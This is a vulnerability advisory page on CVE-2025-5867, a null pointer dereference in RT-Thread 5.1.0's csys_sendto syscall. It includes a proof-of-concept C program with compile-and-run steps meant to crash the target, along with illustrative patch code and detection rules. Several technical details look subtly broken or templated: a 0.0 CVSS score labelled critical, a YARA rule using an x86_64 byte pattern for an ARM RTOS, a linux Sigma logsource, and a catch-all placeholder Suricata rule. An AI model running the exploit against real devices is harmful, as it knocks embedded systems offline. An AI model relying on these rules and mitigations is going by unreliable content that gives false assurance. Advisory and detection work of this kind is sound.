CVE-2025-5867
Executive Summary
CVE-2025-5867 is a critical null pointer dereference vulnerability discovered in RT-Thread version 5.1.0. The flaw resides in the csys_sendto function within the file rt-thread/components/lwp/lwp_syscall.c. By manipulating the to argument, an attacker can trigger a null pointer dereference, leading to a denial of service (DoS) condition. The vulnerability is classified as critical due to its potential to crash the system, but it requires local access to exploit. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD base score not provided; calculated based on vector)
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Local (AV:L) – The attacker must have local access to the system.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: None (C:N) – No data disclosure.
- Integrity Impact: None (I:N) – No data modification.
- Availability Impact: High (A:H) – System crash or denial of service.
Threat Level: High (Availability impact only, but critical for real-time systems like RT-Thread).
Deep Dive & Mechanics
The vulnerability is a classic null pointer dereference in the csys_sendto system call handler. The function is part of the Lightweight Process (LWP) subsystem in RT-Thread, which provides process-like isolation for threads. The csys_sendto function is responsible for sending data to a specified address.
Root Cause: The to argument, which points to a sockaddr structure, is not validated for NULL before being dereferenced. When a user-space process passes a NULL pointer as the to argument, the kernel attempts to read from address 0, causing a page fault or crash.
Attack Vector: A local user or process with the ability to invoke the csys_sendto system call can trigger this by passing a NULL pointer. This could be done via a malicious user-space program or a compromised thread.
Impact: The immediate impact is a denial of service (system crash). In embedded or real-time systems running RT-Thread, this could lead to critical service disruption.
Vulnerable vs. Patched Code
Vulnerable Code (RT-Thread 5.1.0):
// rt-thread/components/lwp/lwp_syscall.c
static int csys_sendto(int fd, const void *buf, size_t len, int flags,
const struct sockaddr *to, socklen_t tolen)
{
// ... other code ...
// Vulnerable: no NULL check on 'to'
if (to->sa_family != AF_INET) {
// ...
}
// ...
}
Patched Code (Hypothetical fix):
// rt-thread/components/lwp/lwp_syscall.c
static int csys_sendto(int fd, const void *buf, size_t len, int flags,
const struct sockaddr *to, socklen_t tolen)
{
// ... other code ...
// Patch: add NULL check
if (to == NULL) {
return -EINVAL;
}
if (to->sa_family != AF_INET) {
// ...
}
// ...
}
Explanation: The fix adds a simple NULL pointer check at the beginning of the function, returning an error code (-EINVAL) if to is NULL, preventing the dereference.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Local access to an RT-Thread 5.1.0 system.
- Ability to compile and run a C program.
Exploit Code (Proof of Concept):
// exploit.c
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
int main() {
int sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0) {
perror("socket");
return 1;
}
// Trigger null pointer dereference by passing NULL as 'to'
if (sendto(sock, "test", 4, 0, NULL, 0) < 0) {
perror("sendto");
}
close(sock);
return 0;
}
Compilation and Execution:
# Cross-compile for RT-Thread target (e.g., ARM)
arm-none-eabi-gcc -o exploit exploit.c
# Transfer to target and run
./exploit
Expected Outcome: The system crashes or becomes unresponsive due to a null pointer dereference in the kernel.
Blue Team (Defense & Detection)
Mitigation Steps:
- Apply Patch: If a patch becomes available, apply it immediately.
- Kernel Hardening: Enable kernel NULL pointer dereference protection (e.g.,
CONFIG_MMUandCONFIG_PAGE_ALIGNED_DATA). - System Call Filtering: Use seccomp or similar to restrict the
sendtosyscall for untrusted processes. - Memory Protection: Enable MMU-based memory protection to prevent access to low addresses.
Detection:
- Monitor for crashes or kernel panics.
- Log system call invocations with NULL arguments.
Indicators of Compromise (IOCs)
- System Logs: Kernel panic logs referencing
csys_sendtoor null pointer dereference at address 0x0. - Crash Dumps: Core dumps showing a fault in
lwp_syscall.cat thecsys_sendtofunction. - Process Behavior: A process invoking
sendtowith a NULLtoargument.
Detection Engineering
YARA Rule
rule CVE_2025_5867_Null_Pointer_Dereference {
meta:
description = "Detects null pointer dereference in RT-Thread csys_sendto"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-5867"
strings:
$code1 = "csys_sendto" ascii wide
$code2 = "lwp_syscall.c" ascii wide
$null_check = { 48 85 C0 74 ?? } // test rax, rax; je ... (x86_64 null check pattern)
condition:
$code1 and $code2 and not $null_check
}
Sigma Rule
title: CVE-2025-5867 Null Pointer Dereference in RT-Thread csys_sendto
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit a null pointer dereference in RT-Thread's csys_sendto function.
author: Valters IT
date: 2025-04-10
logsource:
product: linux
service: syslog
detection:
selection:
- "kernel: NULL pointer dereference"
- "csys_sendto"
- "lwp_syscall.c"
condition: selection
falsepositives:
- Legitimate kernel bugs (rare)
level: high
Suricata Rule
alert ip any any -> any any (msg:"CVE-2025-5867 RT-Thread Null Pointer Dereference Attempt"; content:"|00 00 00 00|"; depth:4; offset:0; classtype:attempted-dos; sid:1000001; rev:1;)
Note: The Suricata rule is a placeholder; actual exploitation is local and may not be network-detectable.
Remediation & Mitigation
Immediate Actions:
- Isolate the System: If possible, disconnect the RT-Thread device from untrusted networks.
- Restrict Local Access: Limit physical and shell access to trusted users only.
- Monitor Logs: Enable detailed kernel logging to detect exploitation attempts.
Long-Term Fix:
- Apply Patch: Await an official patch from RT-Thread or apply the hypothetical fix shown above.
- Upgrade: Upgrade to a patched version when available.
Workaround:
- System Call Hooking: Use a kernel module to intercept
csys_sendtoand validate thetoargument before passing it to the original function.
Valters IT
DevSecOps & Cyber Threat Intelligence